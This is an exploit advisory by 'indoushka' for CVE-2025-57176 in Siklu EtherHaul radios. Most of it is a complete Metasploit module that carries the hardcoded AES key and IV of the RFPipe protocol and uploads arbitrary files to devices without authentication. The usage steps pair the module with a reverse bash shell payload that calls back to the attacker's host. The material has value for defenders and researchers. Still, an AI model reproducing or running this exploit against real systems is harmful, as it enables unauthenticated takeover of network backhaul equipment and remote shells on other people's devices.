============================================================================================================================================= | # Title : Siklu EtherHaul Series EH-8010 / EH-1200 Unauthenticated Arbitrary File Upload via Encrypted RFPipe Protocol | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://www.ceragon.com/products/siklu-by-ceragon | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/214067/ & CVE-2025-57176 [+] Summary : This module exploits an unauthenticated arbitrary file upload vulnerability in Siklu EtherHaul wireless backhaul devices (CVE‑2025‑57176). By abusing the proprietary encrypted RFPipe protocol, an unauthenticated remote attacker can upload arbitrary files to the target system without valid credentials. The module implements full AES‑256‑CBC IV chaining, checksum validation, and TCP fragmentation handling to ensure reliable exploitation across EtherHaul firmware versions. [+] Usage : use exploit/linux/misc/siklu_rce set RHOSTS [TARGET_IP] set PAYLOAD cmd/unix/reverse_bash set LHOST [YOUR_IP] exploit [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'openssl' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Siklu EtherHaul Unauthenticated Arbitrary File Upload', 'Description' => %q{ This module exploits an unauthenticated arbitrary file upload vulnerability in Siklu EtherHaul devices (CVE-2025-57176). It leverages the encrypted RFPipe protocol to upload files. The module is designed for industrial stability with full IV chaining and TCP fragmentation support. }, 'Author' => [ 'indoushka' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-57176'], ['URL', 'https://semaja2.net/2025/08/03/siklu-eh-unauth-arbitrary-file-upload/'] ], 'Platform' => 'linux', 'Arch' => [ ARCH_ARMLE, ARCH_MIPSLE ], # Common architectures for EH series 'Privileged' => true, 'Targets' => [ [ 'Automatic', {} ] ], 'DisclosureDate' => '2025-08-02', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ Opt::RPORT(555), OptString.new('REMOTE_PATH', [true, 'Remote path to save the file', '/tmp/pwned']), OptPath.new('LOCAL_FILE', [true, 'Local file to upload']), OptInt.new('TIMEOUT', [true, 'Timeout for encrypted responses (seconds)', 10]) ]) end KEY = [ 0x89, 0xE7, 0xFF, 0xBE, 0xEB, 0x2D, 0x73, 0xF5, 0xA9, 0x10, 0xFC, 0x42, 0x5B, 0x1F, 0x36, 0x17, 0x9F, 0xB9, 0x5E, 0x75, 0x35, 0xA3, 0x42, 0xA0, 0x5D, 0x02, 0x48, 0xB1, 0x19, 0xD2, 0x4B, 0x82 ].pack('C*') IV0 = [0xEA703B82, 0x75A9A17B, 0x1DFC7BB9, 0x55A24D72].pack('V*') def encrypt_and_send(data) padded_data = data.ljust((data.length + 15) & ~15, "\x00") cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.encrypt cipher.key = KEY cipher.iv = @current_send_iv cipher.padding = 0 encrypted = cipher.update(padded_data) + cipher.final @current_send_iv = encrypted[-16..-1] begin sock.put(encrypted) rescue => e print_error("Socket error during transmission: #{e.message}") return false end true end def decrypt_received(n_bytes) return "" if n_bytes <= 0 n_padded = (n_bytes + 15) & ~15 ct = "" while ct.length < n_padded chunk = sock.get_once(n_padded - ct.length, datastore['TIMEOUT']) break if chunk.nil? ct << chunk end return nil if ct.length < n_padded cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.decrypt cipher.key = KEY cipher.iv = @current_recv_iv cipher.padding = 0 pt = cipher.update(ct) + cipher.final @current_recv_iv = ct[-16..-1] pt[0...n_bytes] end def validate_checksum(hdr) return false unless hdr && hdr.length == 144 provided_cs = hdr[12...16].unpack1('V') calculated_cs = (hdr[0...12].unpack('C*').sum + hdr[16...144].unpack('C*').sum) & 0xFFFFFFFF provided_cs == calculated_cs end def build_header(msg_type, payload_len, path, flag = 0x00) hdr = "\x00" * 144 hdr[0] = flag.chr hdr[1] = msg_type.chr hdr[8...12] = [payload_len].pack('V') path_bytes = (path + "\x00").byteslice(0, 128) hdr[16, path_bytes.length] = path_bytes hdr[12...16] = [(hdr[0...12].unpack('C*').sum + hdr[16...144].unpack('C*').sum) & 0xFFFFFFFF].pack('V') hdr end def check connect @current_send_iv = @current_recv_iv = IV0 encrypt_and_send(build_header(0x03, 0, "")) res = decrypt_received(144) disconnect if validate_checksum(res) vprint_status("Target responded with valid RFPipe checksum. Message Type: 0x#{res[1].unpack1('H*')}") return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe rescue Exploit::CheckCode::Unknown end def exploit connect @current_send_iv = @current_recv_iv = IV0 payload = File.binread(datastore['LOCAL_FILE']) register_file_for_cleanup(datastore['REMOTE_PATH']) print_status("Sending file upload request (Flag: 0x00, Msg: 0x04)...") return unless encrypt_and_send(build_header(0x04, payload.length, datastore['REMOTE_PATH'])) print_status("Streaming payload data...") return unless encrypt_and_send(payload) res_hdr = decrypt_received(144) if validate_checksum(res_hdr) msg_type = res_hdr[1].unpack1('C') p_len = res_hdr[8...12].unpack1('V') if msg_type == 0x05 print_good("Success: Device confirmed file receipt.") else print_warning("Device responded with unexpected Msg Type: 0x#{msg_type.to_s(16)}") end decrypt_received(p_len) if p_len > 0 else print_error("Failed to validate response integrity (Checksum/Timeout error).") end ensure disconnect end end Greetings to :============================================================ jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*| ==========================================================================